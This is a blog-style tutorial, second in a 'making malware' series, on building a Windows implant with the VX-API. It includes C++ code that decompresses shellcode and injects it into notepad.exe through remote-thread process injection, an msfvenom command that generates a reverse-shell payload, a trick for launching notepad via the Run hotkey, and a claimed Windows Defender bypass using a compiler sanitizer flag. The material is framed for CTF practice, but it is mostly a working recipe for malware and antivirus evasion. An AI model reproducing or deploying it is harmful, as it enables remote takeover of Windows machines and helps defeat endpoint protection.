making malware #2

In this writeup we extend the development of our previous implant to achieve reverse shell access on a mondern Windows 10 machine!

Part One: Introduction

It's been a little bit since the last installment of this series, and honestly, I've learned a lot. But for the purposes of this writeup, we're going to pick up where we left off in making malware #1 and continue our exploration of the VX-API.

This time, we're going to extend our malware to take our existing implant, and instead of using a calc payload, we're going to execute a reverse shell payload! We touched on one method of doing this in Achieving Access, but here we're going to use the compression technique we used in Making malware #1 to execute an msfvenom reverse shell, and then we'll use clever compiler settings to bypass Windows Defender.

Part Two: Getting Started

So if you don't remember where we left off last time, our main.cpp code looked like this:

#include "Win32Helper.h"

INT main(VOID)
	// Compressed msfvenom calc payload
	BYTE CompressedBuffer[] = […snip…];
	//size of payload buffer
	DWORD Size = sizeof(CompressedBuffer);

	ULONG Out = sizeof(CompressedBuffer);
	DWORD oldProtect = NULL;

	PBYTE DecompressedBuffer = CompressedBuffer;

	//Allocate new payload
	DecompressedBuffer = (PBYTE)VirtualAlloc(NULL, Out, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	//Decompress payload
	Out = LzStandardDecompressBuffer((PBYTE)CompressedBuffer, Size, (PBYTE)DecompressedBuffer, Out);

	//Find target
	CHAR targetName[] = "notepad.exe\0";
	auto targetPID = GetPidFromEnumProcessesA(targetName);

	//Execute payload in target
	MpfPiWriteProcessMemoryCreateRemoteThread((PBYTE)DecompressedBuffer, Size, targetPID);

	if (DecompressedBuffer)
		HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, DecompressedBuffer);


Before we can go much further, we'll have to generate and compress an msfvenom payload.

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=9001 -f rust

I've started using the "rust" format instead of the "c" format because I prefer manipulating the byte arrays in this format, but there's not a significant practical difference.

Now we can use the same code snippet we used in #1 to print out the compressed payload.

int i = 0;
for (i = 0; i < Size; i++) {
	printf("0x%x,", *(CompressedBuffer + i));

There are a couple of other important tweaks here, namely, we put our raw payload directly into Buffer variable and comment out the generic payload generation. Otherwise, we'll end up printing a calc payload.

Part Three: Getting a reverse shell!

One of the downsides to our existing implant is that if notepad.exe does not already exist we won't be able to inject our payload. Thankfully, the VX-API provides us with several methods of creating new processes. One of the most interesting is the ability to execute binaries with "Windows+R" hotkey functionality.

If we implement this in our code, notepad.exe will always run and we'll always be able to execute our payload! This method is not very OPSEC, but it should work in most CTF-style situations.

Because we're relying on GUI functionality to create our notepad process, it's important to give it some time to execute. Sleeping for 1000ms should do the trick.

Now if we put our compressed payload into the code template we used at the conclusion of Making Malware #1, we get a working reverse shell!

Part Four: Beating Detection

Unfortunately, if we check our program with ThreatCheck, we'll find that we get caught!

We can make one simple change to our compilation settings and bypass Windows Defender. Currently, Windows Defender definitions do not account for several of the /fsanitize options available in Visual Studio. If we use the /fsanitize=fuzzer option, we'll find that we can bypass Windows Defender on modern Windows 10 machines!

Part Five: ???

[Intentionally left blank]

Part Six: Profit

It works! Our implant throws, but our reverse shell works! Using some clever coding and compiler settings manipulation, you can get rid of this error, but I'll leave that as an exercise to you, the reader.

Part Seven: Conclusion

In this writeup, we saw the resilience of the compression methods offered by the VX-API, as well as some neat hotkey functionality that allows us to create processes through Windows API interactions with the GUI. All of this is implemented in a short few lines of code, and in a very streamlined workflow that allows the malware author to focus on the creative attack chains available through the API.

While our approach was not particularly OPSEC in this case, the VX-API does offer some ways that we can improve our OPSEC. Additionally, through some manipulations and tweaking, it's possible to port (most of) this project to CLion and compile with MinGW, which gives us the capability to use inline assembly to further our implant's capabilities. We’ll explore that in future writeups.


Last updated